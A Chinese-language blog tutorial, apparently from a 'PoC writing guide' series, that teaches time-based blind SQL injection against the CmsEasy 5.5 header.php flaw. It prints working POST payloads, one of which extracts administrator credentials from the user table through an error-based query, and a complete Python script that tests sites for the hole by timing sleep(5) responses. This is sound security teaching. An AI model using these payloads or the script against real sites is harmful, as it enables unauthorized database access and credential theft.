基于时间的盲注的 SQL 注入 PoC 编写

写在前面

《PoC 编写指南》有 3 个月没更了,基本上我写博文都是在半夜两三点的时候写的,最近几个月有些忙,睡的也比较早,就一直停更了。当然也有一些别的方面的原因,每次写篇博文都是尽可能的把涉及到的东西讲清楚,写详细,自己在这个上面花的时间特别多,结果有些网站一个爬虫就全带走了,多多少少还是有些不爽,毕竟还是希望读者看过之后能给出一些宝贵的意见。

再说积极的事,这个系列也帮助了一些人,其中有个兄弟写了一个 Python 的项目,里面就用到了我们 3.3 节中的 PoC:

one python app for zoomeye 项目地址

正文开始

本节原本打算找一个 PHP 语言的 CMS 的漏洞,环境好搭,找了半天没找到比较新的漏洞,最后决定直接用之前的漏洞。这次我们选择的漏洞为:

CmsEasy 5.5 UTF-8 20140802/celive/live/header.php SQL注入漏洞

这个漏洞是我们 3.2 节《基于报错的 SQL 注入 PoC 编写》中使用过的一个漏洞。

选这个洞的意义在于,让读者能体会到,一个漏洞的不同利用方式,没错,不只有一种利用方式。

基于时间的盲注一般是没办法通过回显来得到结果(包括 union 查询,报错回显),或者是没法通过有很明显的页面数据变化来确定 SQL 语句是否执行。这时候就可以通过页面的返回时间来确定是否成功执行了。

这么说有些拗口,直接上实例。

漏洞分析

具体分析可以直接看 3.2.1 小节,就不在这里浪费时间了。

我们先来回顾一下这个漏洞在 3.2 节 的 Payload:

请求的链接:

http://xxx.com/celive/live/header.php

POST 数据内容:

xajax=LiveMessage&xajaxargs[0][name]=1',(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select concat(username,0x23,password) from cmseasy_user where groupid=2 limit 1))a from information_schema.tables group by a)b),'','','','1','127.0.0.1','2')#

这是一个典型的 group by 的报错 Payload。那么,这节是基于时间的盲注,我们就假装我们不能通过报错来拿到结果。所以我们修改 Payload 为:

请求的链接:

http://xxx.com/celive/live/header.php

POST 数据内容:

xajax=LiveMessage&xajaxargs[0][name]=1',(SELECT IF(1=1, sleep(5), '1')),'','','','1','127.0.0.1','2')#

核心的 SQL 语句是这样的, SELECT IF(1=1,sleep(5), '1') 熟悉 MySQL 语法的人应该知道这个意思,第一个参数是表达式,就是说如果表达式为真的话,就执行第二个参数位置的语名,在本例子中是 sleep 5秒,如果为假就执行第三个参数位置的语句,本例子中就是返回一个字符 1 。

漏洞复现

实验所需 CMS 下载地址:下载地址

我们打开 Firefox 浏览器,开启 hackbar, 再打开开发者工具,调到网络选项卡,然后填写 Payload :

请求的链接:

http://localhost/cmseasy/celive/live/header.php

POST 数据内容:

xajax=LiveMessage&xajaxargs[0][name]=1',(SELECT IF(1=1, sleep(5), '1')),'','','','1','127.0.0.1','2')#

这个 Payload 会执行 sleep(5),其执行结果如图 3-8 所示:

图 3-8

注意右下方的返回包时长,5068 ms。

然后我们修改 IF 中的 1=1 为 1=2,此时肯定是不会执行 sleep(5) 的,然后我们观查一下返回时间:

图 3-9

注意右下方的返回时长,22 ms。

除了返回时间以外,再注意看一下 图3-8 和 图3-9 这两张图中网页内容,发现是内容是一模一样的,现在能体会到什么是基于时间的盲注了吧?无法通过内容变化来区别是否执行了 SQL 语句,只能过过注入延时函数来让返回包时间变长来判断。

这里有必要来讲一下什么会这样,其实在服务端执行的时候一般都是按顺序执行的,在请求数据库查询之后,是一直在等待数据库返回的,如果数据库一直不返回,就一直等着呗,直到超时。

无框架 PoC 编写

看完漏洞分析之后,聪明的朋友已经想到要怎么做了:

我知道,我知道,直接用有延时的 Payload 打上去,然后看返回的时间是不是大于 5s 就行了。这样只用请求一次目标,效率杠杠滴。

就你知道,就你聪明。一般情况下,我们访问一个网页,响应时长确实是少于 5s 的,但是呢,来吧,我们先来看一张图:

图3-10

看出什么了吗?看不出来才怪,我都给你标记出来了。我们直接访问 github.com 响应的时长是大于 5s 的,没错,如果按照第上面的思路来的话,对于一些访问比较慢的网站来说,这妥妥的误报啊。总结一下,影响响应时长的大概有这么几种:

  1. 网络延迟 (比如你的目标是海外的什么什么站你懂得,或者是网络拥塞了啥的,堵车了嘛)
  2. 服务器处理速度(脚本执行的速度,服务器软件处理速度)

所以,我们要尽可能的排除这些客观的因素,做法就是访问目标两次,第一次是正常请求,记录下响应时间差 a,然后再带上 Payload 来请求一次,得到一个响应时间差 b,计算一下 b-a 的值是不是在 5s 左右。

这时值得注意的是,如果我们传入的 Payload 是 sleep(5),在判断的时候不一定是大于 5s 哟,基本上 b-a 的值大于 4s ~ 4.5s 就差不多了。请思考为什么要这么判断。

再说一下,那个正常的请求,可以是带着一定不执行 sleep 的 Payload ,也可以是一次正常的请求。

好了我们直接上代码吧,代码其实可以简洁一点。

代码 3_4_1.py:

#!/usr/bin/env python
# coding:utf-8
import urllib2
import urllib
import sys
import time


def verify(url):
    target = "%s/celive/live/header.php" % url
    # 要发送的数据
    post_data1 = {
        'xajax': 'LiveMessage',
        'xajaxargs[0][name]': "1',(SELECT IF(1=2, sleep(5), '1')),"
                              "'','','','1','127.0.0.1','2') #"
    }
    # 有延时的 Payload
    post_data2 = {
        'xajax': 'LiveMessage',
        'xajaxargs[0][name]': "1',(SELECT IF(1=1, sleep(5), '1')),"
                              "'','','','1','127.0.0.1','2') #"
    }
    try:
        # 记录开始请求的时间
        start_time = time.time()
        # 发送 HTTP 请求
        req = urllib2.Request(target, data=urllib.urlencode(post_data1))
        urllib2.urlopen(req)
        # 记录正常请求并收到响应的时间
        end_time_1 = time.time()
        req2 = urllib2.Request(target, data=urllib.urlencode(post_data2))
        urllib2.urlopen(req2)
        # 收到响应的时间
        end_time_2 = time.time()
        # 计算时间差
        delta1 = end_time_1 - start_time
        delta2 = end_time_2 - end_time_1
        # print "delta1: %s, delta2: %s" % (str(delta1), str(delta2))
        if (delta2 - delta1) > 4:
            print "%s is vulnerable" % target
        else:
            print "%s is not vulnerable" % target
    except Exception, e:
        print "Something happend..."
        print e


def main():
    args = sys.argv
    url = ""

    if len(args) == 2:
        url = args[1]
        verify(url)
    else:
        print "Usage: python %s url" % (args[0])

if __name__ == '__main__':
    main()

将上述代码保存为 3_4_1.py 然后执行 python 3_4_1.py http://localhost/cmseasy/ ,看一下执行效果图(为了方便我把 delta 的值打印了出来):

➜  3-4 python 3_4_1.py http://127.0.0.1/cmseasy
delta1: 0.140622854233, delta2: 5.03041219711
http://127.0.0.1/cmseasy/celive/live/header.php is vulnerable

我们访问一个不存在该漏洞的站:

➜  3-4 python 3_4_1.py http://www.baidu.com
delta1: 0.654525995255, delta2: 0.149312973022
http://www.baidu.com/celive/live/header.php is not vulnerable

至此一个无框架的漏洞验证 PoC 就写完了。

2.4.4 基于 Bugscan 框架

等待更新中。。。

2.4.5 基于 Pocsuite 框架

等待更新中。。。

总结

总结一下这节暂时学到的东西:

  1. 基于时间的 SQL 盲注,一般通过比较响应时间差来判断是否执行延时 SQL 语句
  2. 尽可能的排除一些外界因素的影响。
  3. 基于时间的盲注误差是客观存在的。

2016/04/18 基于 Bugscan 框架应该很简单,这里我先不写, 读者可以自己来实现一下。 至于 Pocsuite 框架,读者可以先行实现一下 verify 部分。 热心的读者可以自己写完后直接邮件发我。下周我再来更新。